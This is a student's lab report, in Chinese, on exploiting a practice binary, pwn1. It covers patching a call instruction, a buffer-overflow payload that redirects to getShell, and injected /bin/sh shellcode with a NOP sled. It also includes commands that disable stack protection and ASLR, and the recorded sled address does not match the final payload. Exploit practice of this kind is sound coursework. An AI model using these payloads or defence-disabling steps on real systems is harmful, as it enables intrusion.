20232326 2025-2026-1 《网络与系统攻防技术》实验一实验报告
1. 实验内容
-
本次实践内容说明
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
-
三个实践内容
- 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
- 注入一个自己制作的shellcode并运行这段shellcode。
2. 实验过程
2.1 修改机器指令改变执行流程
操作目标:不依赖漏洞,直接篡改main函数的机器码,使程序启动后直接执行getShell。
步骤2:计算“call getShell”的偏移与机器码
目标:将偏移改为“getShell地址 - 下一条指令地址”:
新偏移 = 0804847d - 080484ba = -69
十进制-69转换为32位十六进制补码:0xffffffc3,因此“call getShell”的机器码为e8 c3 ff ff ff。
步骤3:生成修改副本并编辑机器码
为避免破坏原始文件,复制生成含学号的副本pwn20232326zsm,并修改其机器码:
# 复制原始文件为副本
cp pwn1 pwn20232326zsm
# 使用vi+xxd编辑副本(十六进制模式)
vi pwn20232326zsm
# 1. 切换为十六进制显示
:%!xxd
# 2. 搜索原机器码“e8d7”(call foo的操作码+偏移前两位)
/e8d7
# 3. 修改偏移:将“d7”改为“c3”(原机器码e8d7ffff → 新机器码e8c3ffff)
# 4. 转回二进制格式
:%!xxd -r
# 5. 保存退出
:wq

- 这里遇到了文件权限不够的问题,修改pwn20232326zsm文件的的权限为777 最高权限

步骤4:验证修改结果
# 反汇编副本,确认call指令是否指向getShell
objdump -d pwn20232326zsm | grep -A 1 "call"
# 运行副本,验证是否直接获取Shell
./pwn20232326zsm
- 运行后直接出现#提示符,输入ls可查看目录文件。


2.2 BOF攻击构造输入改变执行流
操作目标:利用foo函数的gets缓冲区溢出漏洞,通过构造输入覆盖返回地址,让程序执行getShell。
步骤1:分析foo函数的缓冲区与堆栈布局
# 反汇编pwn20232326zsm-2,查看foo函数的栈帧分配
objdump -d pwn20232326zsm-2 | grep -A 10 "foo"

关键输出与堆栈分析:
08048491 <foo>:
8048491: 55 push %ebp # 保存ebp到栈
8048492: 89 e5 mov %esp,%ebp # ebp = esp(栈帧基址)
8048494: 83 ec 38 sub $0x38,%esp # 栈帧分配0x38(56字节)空间
8048497: 8d 45 e4 lea -0x1c(%ebp),%eax # 缓冲区起始地址:ebp-0x1c(28字节)
804849d: e8 8e fe ff ff call 8048330 <gets@plt> # 调用gets读取输入(无边界检查)
- 缓冲区大小:ebp-0x1c到ebp共28字节(输入超过此长度会溢出);
- 覆盖返回地址需填充:缓冲区28字节 + ebp4字节 = 32字节填充,第33-36字节为返回地址(需改为getShell地址)。
步骤2:用GDB调试确认返回地址覆盖位置
# 启动GDB调试原始文件
gdb pwn20232326zsm-2
# 运行程序
(gdb) r
# 输入测试字符串:32个填充字符(分4组便于定位)+ 4个标记字符(1234)
1111111122222222333333334444444412345678
# 程序因溢出崩溃后,查看eip寄存器(指令指针,即返回地址)
(gdb) info r eip
- eip值为0x34333231(对应字符“4321”的ASCII码),证明第33-36字节(标记字符“1234”)成功覆盖返回地址。

步骤3:构造BOF攻击Payload
# 生成攻击输入文件input_bof_20232326:
# 32字节填充(A) + getShell地址(\x7d\x84\x04\x08) + 回车(\x0a,模拟手动回车)
perl -e 'print "A"x32 . "\x7d\x84\x04\x08\x0a"' > input_bof_20232326
# 验证Payload格式(查看末尾是否包含getShell地址)
xxd input_bof_20232326
- xxd输出末尾显示7d84 0408 0a,与getShell地址的小端序及回车符一致。
![image]()
![image]()
步骤4:触发BOF攻击
# 通过管道将Payload输入原始文件,保持Shell交互(避免攻击后Shell退出)
(cat input_bof_20232326; cat) | ./pwn20232326zsm-2
- 程序触发缓冲区溢出,返回地址被覆盖为getShell地址,执行后出现#提示符,输入ls可查看目录。
![image]()
2.3 注入Shellcode并执行
操作目标:向程序注入自定义Shellcode,通过BOF攻击触发其执行,实现“不依赖程序自带getShell”的漏洞利用。
步骤1:关闭防御机制
- 关闭系统防御:默认情况下,Linux堆栈不可执行且开启地址随机化(ASLR),需关闭以确保Shellcode可执行:
# 1. 设置堆栈可执行(execstack -s 目标文件) execstack -s pwn20232326zsm-2 # 验证设置:输出“X pwn20232326zsm-2”表示堆栈可执行 execstack -q pwn20232326zsm-2 # 2. 关闭ASLR(地址随机化,避免Shellcode地址变化) echo "0" > /proc/sys/kernel/randomize_va_space # 验证设置:输出“0”表示ASLR关闭 more /proc/sys/kernel/randomize_va_space![image]()
步骤2:调试获取Shellcode的滑行区地址
由于Shellcode需通过返回地址指向,需先确定其在堆栈中的位置(通过“滑行区”提高兼容性):
-
生成临时Payload(含占位返回地址,用于定位):
perl -e 'print "A"x32 . "\x01\x02\x03\x04" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' > temp_input_20232326- \x01\x02\x03\x04:占位返回地址,便于GDB定位;
- \x90:NOP空指令(滑行区),即使地址略有偏差,也能“滑”到Shellcode。
![image]()
-
GDB调试定位:
-
终端1:启动攻击进程(阻塞等待调试):
(cat temp_input_20232326; cat) | ./pwn20232326zsm-2![image]()
-
终端2:查找进程号并附加GDB:
# 查找pwn20232326zsm-2的进程号 ps -ef | grep pwn20232326zsm-2 # 附加调试 gdb (gdb) attach 3256 # 反汇编foo函数,在ret指令处设断点(ret执行前,堆栈已加载Payload) (gdb) disassemble foo (gdb) break *0x080484ae # ret指令地址 (gdb) c # 继续运行程序![image]()
-
-
这里遇到了不允许attach的错误,查询后使用下面的命令解决了
bash ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2)
![image]()
- 终端1:按回车触发断点,回到终端2查看堆栈:
# 查看当前栈指针esp (gdb) info r esp # 查看esp附近16字节内存,找到占位地址0x01020304 (gdb) x/16x $esp- 占位地址0x01020304后方为NOP区域(0x90909090),记录NOP区域的起始地址(0xffffd2dc)作为滑行区地址。
![image]()
![image]()
- 占位地址0x01020304后方为NOP区域(0x90909090),记录NOP区域的起始地址(0xffffd2dc)作为滑行区地址。
步骤3:构造Shellcode注入Payload
# 生成Shellcode输入文件input_shellcode_20232326: # 32字节填充(A) + 滑行区地址(\x20\xd3\xff\xff) + NOP滑行区(10个) + Shellcode perl -e 'print "A"x32 . "\x20\xd3\xff\xff" . "\x90"x10 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x0a"' > input_shellcode_20232326步骤4:触发Shellcode执行
(cat input_shellcode_20232326; cat) | ./pwn20232326zsm-2- 程序执行到返回地址时,跳转到NOP滑行区,最终执行Shellcode,弹出#提示符,输入ls可查看目录。
![image]()
3. 问题及解决方案
-
问题1:在修改 pwn20232326zsm 文件机器码时,遇到文件权限不够的情况,无法正常编辑该文件。
解决方案:修改 pwn20232326zsm 文件的权限为最高权限777,使用命令 chmod 777 pwn20232326zsm,以便能够对文件进行编辑操作。 -
问题2:在使用 gdb 调试附加进程时,出现不允许 attach 的错误,无法正常附加到目标进程 pwn20232326zsm-2 进行调试。
解决方案:采用命令 ./pwn20232326zsm-2 & gdb -p 3256 $(pgrep pwn20232326zsm-2) 来解决,通过先让目标进程在后台运行,然后使用 gdb 结合进程号来正确附加并进行调试。 -
问题3:默认情况下,Linux系统开启了诸如堆栈不可执行以及地址随机化(ASLR)等防御机制,这会影响Shellcode的执行,导致无法按预期利用漏洞。
解决方案:- 关闭堆栈不可执行:使用命令 execstack -s pwn20232326zsm-2 设置堆栈可执行,并通过 execstack -q pwn20232326zsm-2 验证设置,若输出“X pwn20232326zsm-2”则表示堆栈可执行。
- 关闭地址随机化(ASLR):执行命令 echo "0" > /proc/sys/kernel/randomize_va_space 关闭 ASLR,再用 more /proc/sys/kernel/randomize_va_space 验证设置,输出“0”表示 ASLR 已成功关闭,以此确保Shellcode可执行以及其地址的稳定性,便于后续的漏洞利用操作。
4. 学习感悟与思考
在实验开始阶段,由于对反汇编分析和堆栈结构理解不足,操作过程较为生疏,需要通过反复调试和查阅资料询问AI来验证每个步骤。随着实验的深入,我逐步掌握了函数栈帧布局特征、返回地址定位方法、Shellcode构造技术等关键知识点,并能够独立完成从漏洞分析到利用的全过程。特别是在动态调试环节,通过GDB工具观察内存状态、设置断点跟踪执行流程,使我对程序运行时的内存管理机制有了更直观的认识。这种从理论到实践的转化过程,加深了我对计算机系统底层工作原理的理解。这次实验也让我意识到,网络攻防实验需要提前预习做好准备,希望通过后面的学习能逐步掌握网络攻防的核心技能。
参考资料
- 终端1:按回车触发断点,回到终端2查看堆栈:












浙公网安备 33010602011771号